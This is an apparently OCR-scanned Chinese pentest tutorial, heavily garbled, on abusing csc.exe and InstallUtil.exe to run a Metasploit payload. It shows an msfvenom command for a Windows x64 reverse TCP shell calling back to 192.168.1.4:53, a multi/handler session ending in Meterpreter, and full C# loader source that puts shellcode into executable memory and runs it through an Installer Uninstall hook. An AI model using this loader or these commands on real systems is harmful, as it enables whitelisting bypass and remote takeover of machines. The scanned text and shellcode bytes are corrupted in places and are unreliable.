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Csc.exef@ift :

CHBYEWindowsFEE THImFEEBFRECsc.exe , WNR{RAY.NET FrameWork SDKZ
BECE | BRAMREILAEC\WINNT\Microsoft. NET\Framework\xxxxxBRFEME. 1
TERBE  ARAILAFIHEXANBRFIIEIPathiMEZEH A, FCsc.exefmiF
HelloWorld.csIFEEER , FTHMmSRRGT |, FUBEEIFR test.csXXHFNBERT |, WA TS
f7ap<csc /targetiexe test.cs & Ttest.csfmiERL A Stest.exeflJconsole i FHTERF

128E : Csc.exefiERIZSBAHWARFRINPATHIAMEZSES |, EI , cscpSTRIRE,

HF BB 8 Csc.exefitEpayload :

Windows 7 ERAIE :

CA\Windows\Microsoft. NET\Framework64\v2.0.50727\csc.exe
C\Windows\Microsoft. NET\Framework\v2.0.50727\csc.exe

IZEH - 192.168.1.4 Debian
#0810 192.168.1.5 Windows 7

BeEINEHmsf :


https://micropoor.blogspot.com/

mst exploitimultishandlery = show options
Module options {exploit/multishandler):

Mame Current Setting Required Description
Payload options (windows

Mame Current Setting Required

LY

Exploit target:

Id Mame

@ Wildcard Target

msf exploit{multi/handler} = exploit

[#*] Started reverse TCP handler on 192,

BicEpayload :

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 -
f csharp



rootigJohn: & ms am -p windo : ‘ 53.1.4 LPORT=53
[-]1 Mo platform lected, g Ms M Flatform rom the paylo;
[-]1 Mo arch Cti 0

oad
1C r

T T v v v v v v v v v v v v "
T T T T T T v v v v v v v v v
T T T T T T v v v v v v v v v
r r r r r r ; ; ; ; ; ; ; ; ;
r r r r r r ; ; ; ; ; ; ; ; ;
r r r r r r ; ; ; ; ; ; ; ; ;
r r r r r r ; ; ; ; ; ; ; ; ;
T T T T T T : : : : : : : : :
T T T T T T : : : : : : : : :
T T T T T T : : : : : : : : :
T T T T T T : : : : : : : : :
T T T T T T : : : : : : : : :
T T T T T T v v v v v v v v v
T T T T T T v v v v v v v v v
T T T T T T v v v v v v v v v
T T T T T T v v v v v v v v v
v v v v v v v v v v v v v v v

FEHRAT :



I C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente
rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Mic
opoor.exe /platform:x64 /unsafe C:\Users\John\Desktop\Micropoor Csc.cs

I C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfi
le= /LogToConsole=false /U C:\Users\John\Desktop\Micropoor.exe

[#] Started revers CP handler on 192
[#] Sending : g [ 3 bytes) to 192, i
[#] Meterpreter 1 6 opened (19 .1.4:53 -= 182.168.1.5:30431) at 2018-01-17 04:15:35

meterpreter = getuid
Server us John-PCyJohn
meterprete

current pid:

5%t+ %48t , payloadEARIE.

B3R : Micropoor_Csc.cs

1 using System

2 using System.Net

3 using System.Diagnostics

I using System.Reflection

5 using System.Configuration.Install

6 using System.Runtime.InteropServices

9 // msfvenom -p windows/x64/shell/reverse tcp LHOST=192.168.1.4 LPORT=5
3 -f csharp

Il public class Program

12 {

13 public static void Main

4 {



20 [System.ComponentModel.RunInstaller(true) ]

21 public class Sample : System.Configuration.Install.Installer

22 |

23

24 public override void Uninstall(System.Collections.IDictionary savedSt
ate)

25 A

26

27 Shellcode.Exec();
28

29}

30

31}

32

33 public class Shellcode

34 {

35 public static void Exec()
36

37

38 byte[] shellcode = new byte[510] {

39
Oxfc,0x48,0x83,0xe4,0xT0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x!
2,

40 ©@x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,
X48,

41 ©Ox8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,
Xc9,

42 Ox48,0x31,0xc0O,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xcl,0xc9,0x0d,
x41,

43 Ox01,0xcl,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3cC,
X48,

44 ©@x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,
x8b,

15 Ox80,0x88,0x00,0x00,0x00,0x48,0x85,0xcO,0x74,0x67,0x48,0x01,0xd0, Ox50,
x8b,

46 Ox48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,
X41,

47 Ox8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xCc9,0x48,0x31,0xcO,0xac,0x41,
xcl,

48 Oxc9,0x0d,0x41,0x01,0xcl,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,
X45,



49 ©Ox39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,
x8b,

50 @x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,
x01,

51 ©xdo,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,
X48,

52 @x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,
Xxeo9,

53 O@x4b,0xff,oxff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,
X00,

54 @x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,
xe5,
55 ©x49,0xbc,0x02,0x00,0x00,0x35,0xc0,0xa8,0x01,0x04,0x41,0x54,0x49,0x89,
xe4,
56 @x4c,0x89,0xf1l,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,
X68,
57 ©x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,
X0a,

58 ©x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,
X89,

59 @xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,
xd5,

60 Ox48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xT9,0x41,
xba,

61 ©x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,
xe5,

62 ©Oxe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,

Xc9,

63 Ox6a,0x04,0x41,0x58,0x48,0x89,0xT9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,
xd5,

64 ©Ox83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,
x41,

65 ©Ox59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,
x41,

66 ©Oxba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,
x31,

67 @xCc9,0x49,0x89,0xT0,0x48,0x89,0xda,0x48,0%x89,0xf9,0x41,0xba,0x02,0xd9,
Xc8,

68 Ox5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,
x40,

69 Ox00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,
xd5,

70 @x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,
X3¢,

71 Oxff,0xff,oxff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,
Xx41,



72 @xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,
xd5 };

73

74

75  UInt32 funcAddr = VirtualAlloc(®, (UInt32)shellcode .Length,

76 MEM_COMMIT, PAGE_EXECUTE_READWRITE);

77 Marshal.Copy(shellcode , @, (IntPtr)(funcAddr), shellcode .Length);
78  IntPtr hThread = IntPtr.Zero;

79  UInt32 threadId = 0;

80

81

82

83 IntPtr pinfo = IntPtr.Zero;

84

85

86

87 hThread = CreateThread(®, 0, funcAddr, pinfo, @, ref threadld);
88 WaitForSingleObject(hThread, OxFFFFFFFF);

89

9 }

91

92 private static UInt32 MEM_COMMIT = 0x1000;
93

94 private static UInt32 PAGE _EXECUTE_READWRITE = ©x490;

95

96 [DllImport("kernel32")]

97 private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
98 UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
99

100 [DllImport("kernel32")]

101 private static extern bool VirtualFree(IntPtr lpAddress,
102 UInt32 dwSize, UInt32 dwFreeType);

103

104 [DllImport("kernel32")]

105 private static extern IntPtr CreateThread(

106

107 UInt32 lpThreadAttributes,

108 UInt32 dwStackSize,

109 UInt32 lpStartAddress,

110 IntPtr param,

111 UInt32 dwCreationFlags,

112 ref UInt32 1pThreadId



)
[D11Import("kernel32")]

private static extern bool CloseHandle(IntPtr handle);

[D11Import("kernel32")]
private static extern UInt32 WaitForSingleObject(

IntPtr hHandle,

UInt32 dwMilliseconds

)

[D11lImport("kernel32")]

private static extern IntPtr GetModuleHandle(

string moduleName

)
[D11Import("kernel32")]

private static extern UInt32 GetProcAddress(

IntPtr hModule,

string procName

)
[D11Import("kernel32")]

private static extern UInt32 LoadlLibrary(

string lpFileName

)
[DllImport("kernel32")]

private static extern UInt32 GetLastError();

Micropoor



